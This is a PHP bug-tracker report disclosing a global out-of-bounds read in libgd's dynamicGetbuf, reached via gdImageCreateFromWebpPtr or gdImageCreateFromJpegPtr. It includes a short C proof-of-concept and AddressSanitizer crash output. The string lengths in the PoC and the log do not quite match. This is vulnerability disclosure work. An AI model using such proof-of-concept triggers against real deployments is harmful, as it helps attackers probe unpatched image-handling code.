From: dev dot davidmatosse at outlook dot com
Operating system: Linux
PHP version: Irrelevant
Package: GD related
Bug Type: Bug
Bug description:Global Out-of-Bounds Read
Description:
------------
While analysing the source code of libgd (located at
github.com/libgd/libgd [1] and bundled
version of php 7.4.3 [2]) was found that there is a global out-of-bounds
read error in function dynamicGetbuf (gd_io_dp.c [3]), called by
gdImageCreateFromWebpPtr or gdImageCreateFromJpegPtr
functions.
Both arguments of presented functions (gdImageCreateFromWebpPtr(int
size, void *data) and
gdImageCreateFromJpegPtr(int size, void *data)) are user supplied data
with no prior sanitize.
Whatever the call context in which we have size > that the length of the
data, we trigger the
global out-of-bounds read.
> Study Case
1 - gdImageCreateFromWebpPtr [4] is a function used to load truecolor or
create images from WebP
data already in memory. The function have two argumets, a size of the
data in bytes and a pointer
to data (WebP data).
In attempt to create the Webp image from data already in memory, we call
the function gdImageCreateFromWebpPtr
and pass to then 2 arguments (user controlled data), this information is
used to create the gdIOCtx [5]
and we pass to gdImageCreateFromWebpCtx [6] to create the image.
2 - on function gdImageCreateFromWebpCtx, in attempt to get the number
of bytes read from gdIOCtx
we call gdGetBuf [7] which is resolved dynamically to dynamicGetbuf [8]
3 - at this point we have the following
rlen = size
dp->data = data
if we call the memcpy [9] with rlen set to length greater than the
source (dp->data), it results
in global out-of-bounds read.
> conclusion
After digging into the code a little further was found that to reach the
vulnarable function [8],
we need a following call stack
@whatever_function@ --> gdGetBuf(dest, size, src) -->
dynamicGetbuf(src_pkd, dest, size) --> memcpy(dest, src, size); [where
'size' and 'data' are user controllable]
As example we have: gdImageCreateFromWebpPtr and
gdImageCreateFromJpegPtr
> references
[1] - https://github.com/libgd/libgd
[2] - https://www.php.net/downloads.php#v7.4.3
[3] - https://github.com/libgd/libgd/blob/master/src/gd_io_dp.c
[4] - https://github.com/libgd/libgd/blob/master/src/gd_webp.c#L86
[5] - https://github.com/libgd/libgd/blob/master/src/gd_webp.c#L89
[6] - https://github.com/libgd/libgd/blob/master/src/gd_webp.c#L102
[7] - https://github.com/libgd/libgd/blob/master/src/gd_io.c#L211
[8] - https://github.com/libgd/libgd/blob/master/src/gd_io_dp.c#L270
[9] - https://github.com/libgd/libgd/blob/master/src/gd_io_dp.c#L302
Test script:
---------------
/*
file: poc.c
to build: clang-9 poc.c -o poc -lgd -fsanitize=address
*/
#include <gd.h>
int main(){
int size = 16;
void *data = "AAAAAAAAAAAA";
gdImageCreateFromWebpPtr (size, data);
return 0;
}
Expected result:
----------------
Webp image generated.
Actual result:
--------------
==1611==ERROR: AddressSanitizer: global-buffer-overflow on address
0x0000004d4c1c at pc 0x000000431bb7 bp 0x7ffe7ebd0ef0 sp 0x7ffe7ebd06b0
READ of size 48 at 0x0000004d4c1c thread T0
#0 0x431bb6 in memcpy (~/poc/poc+0x431bb6)
#1 0x7f57a1f5a368 in dynamicGetbuf ~/libgd/src/gd_io_dp.c:302:2
#2 0x7f57a1f59fb7 in gdGetBuf ~/libgd/src/gd_io.c:213:9
#3 0x7f57a1f68dd2 in gdImageCreateFromWebpCtx
~/libgd/src/gd_webp.c:126:7
#4 0x7f57a1f69061 in gdImageCreateFromWebpPtr
~/libgd/src/gd_webp.c:92:7
#5 0x4c222f in main (~/poc/poc+0x4c222f)
#6 0x7f57a103882f in __libc_start_main
/build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#7 0x41ac48 in _start (~/poc/poc+0x41ac48)
0x0000004d4c1c is located 0 bytes to the right of global variable
'<string literal>' defined in 'poc.c:10:16' (0x4d4c00) of size 28
'<string literal>' is ascii string 'AAAAAAAAAAAAAAAAAAAAAAAAAAA'
SUMMARY: AddressSanitizer: global-buffer-overflow (~/poc/poc+0x431bb6)
in memcpy
Shadow bytes around the buggy address:
0x000080092930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080092940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080092950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080092960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080092970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x000080092980: 00 00 00[04]f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x000080092990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800929a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800929b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800929c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0000800929d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1611==ABORTING
--
Edit bug report at https://bugs.php.net/bug.php?id=79385&edit=1
--
Fix committed: https://bugs.php.net/fix.php?id=79385&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=79385&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=79385&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=79385&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=79385&r=oldversion
Not developer issue: https://bugs.php.net/fix.php?id=79385&r=support
Expected behavior: https://bugs.php.net/fix.php?id=79385&r=notwrong
Not enough info: https://bugs.php.net/fix.php?id=79385&r=notenoughinfo
Submitted twice: https://bugs.php.net/fix.php?id=79385&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=79385&r=globals
PHP version support discontinued: https://bugs.php.net/fix.php?id=79385&r=phptooold
Daylight Savings: https://bugs.php.net/fix.php?id=79385&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=79385&r=isapi
Install GNU Sed: https://bugs.php.net/fix.php?id=79385&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=79385&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=79385&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=79385&r=mysqlcfg